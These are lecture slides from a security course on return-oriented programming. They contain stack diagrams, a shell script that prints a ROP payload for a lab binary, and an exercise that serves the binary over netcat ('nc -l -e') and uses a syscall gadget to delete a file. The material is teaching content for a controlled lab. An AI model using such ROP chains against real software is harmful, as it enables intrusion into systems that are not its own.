

CS356: More Return-Oriented Programming

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- ▶ Return-to-libc attacks showed us we can “call” arbitrary functions with arbitrary parameters, by smashing the stack.
- ▶ We can do this even on AMD64, which uses registers to pass parameters:

- 1 Place parameter on stack.
- 2 Find “gadget” that pops from stack to `%rdi`.
- 3 Set return address to gadget.
- 4 Set next return address to function.

RSP

0x00000000004012b0	
0x6161616161616161	buffer
0x6262626262626262	Saved BP
0x0000000000401313	Gadget
0x00007ffff7f6ab66	/bin/sh
0x00007ffff7e27450	system
...	

- ▶ Can we construct arbitrary programs in this way?

More Return-Oriented Programming: ROP



`service-rop` in `read_a_bit`:

- 1 Place parameter on stack.
- 2 Find “gadget” that pops from stack to needed register.
- 3 Set return address to gadget.
- 4 Repeat ...
- 5 Call fuction.
- 6 Repeat ...

RSP

0x00007ffffffffefe5
0x00007ffffffff000a
0x0000000000400427
...

buffer
Saved BP
Return addr.



More Return-Oriented Programming: ROP

`service-rop` in `read_a_bit`:

- 1 Place parameter on stack.
- 2 Find “gadget” that pops from stack to needed register.
- 3 Set return address to gadget.
- 4 Repeat ...
- 5 Call fuction.
- 6 Repeat ...

RSP

<code>0x00007fffffffefe5</code>	
<code>0x6161616161616161</code>	buffer
<code>0x6262626262626262</code>	Saved BP
<code>0xec0c400000000000</code>	pop rdi
<code>0x0100000000000000</code>	STDOUT...
<code>0xc407400000000000</code>	pop rsi
<code>0x2053400000000000</code>	Filename
<code>0xb808400000000000</code>	pop rdx
<code>0x0400000000000000</code>	Size
<code>0x2743400000000000</code>	write
<code>0xec0c400000000000</code>	pop rdi
<code>0x4200000000000000</code>	Exit code
<code>0x3001400000000000</code>	exit
...	

Return-Oriented Programming: 64-Bit Ret.-to-Libc Exploit



- 1 Use `gdb` to discover stack layout.
- 2 Use `gdb` to discover address of `write` and `exit`.
- 3 Run program to discover address of filename.
- 4 Use `ROPgadget` to find three needed gadgets.
- 5 Generate exploit.

```
#!/bin/sh
```

```
echo -ne "\x61\x61\x61\x61\x61\x61\x61\x61"
echo -ne "\x62\x62\x62\x62\x62\x62\x62\x62"
echo -ne "\xec\x0c\x40\x00\x00\x00\x00\x00"
echo -ne "\x01\x00\x00\x00\x00\x00\x00\x00"
echo -ne "\xc4\x07\x40\x00\x00\x00\x00\x00"
echo -ne "\x20\x53\x40\x00\x00\x00\x00\x00"
echo -ne "\xb8\x08\x40\x00\x00\x00\x00\x00"
echo -ne "\x04\x00\x00\x00\x00\x00\x00\x00"
echo -ne "\x27\x43\x40\x00\x00\x00\x00\x00"
echo -ne "\xec\x0c\x40\x00\x00\x00\x00\x00"
echo -ne "\x42\x00\x00\x00\x00\x00\x00\x00"
echo -ne "\x30\x01\x40\x00\x00\x00\x00\x00"
echo
```



Return-Oriented Programming: Exercise

- 1 Download `service-rop` from Aquinas.
- 2 Create a file named `flag` in the same directory as `service-rop`.
- 3 Run `service-rop` as a network service using `nc`.
- 4 Use `echo` and `nc` to provide input to `service-rop` so that `service-rop` deletes `flag`.

```
[user@host]$ touch flag
[user@host]$ nc -l -p 1024 -e ./service-rop
[user@host]$ ls flag
ls: cannot access 'flag': No such file or directory
```

```
[user@host]$ echo ... | nc --no-shutdown localhost 1024
```

Hint: `unlink` function is not present in `service-rop`; use `syscall` gadget to directly call `unlink` system call.



More Return-Oriented Programming: Assignments

Graded Homework Aquinas: nop and rop (due Oct. 19)

Reading Read 0x500

Exam coming: in-class, written, one single-sided $8\frac{1}{2}\times 11$ inch note sheet allowed. Note sheet must be hand-written with your hand, and you will turn it in with the exam.

No Möbius strips!

<https://www.flyn.org/courses/cs356/schedule>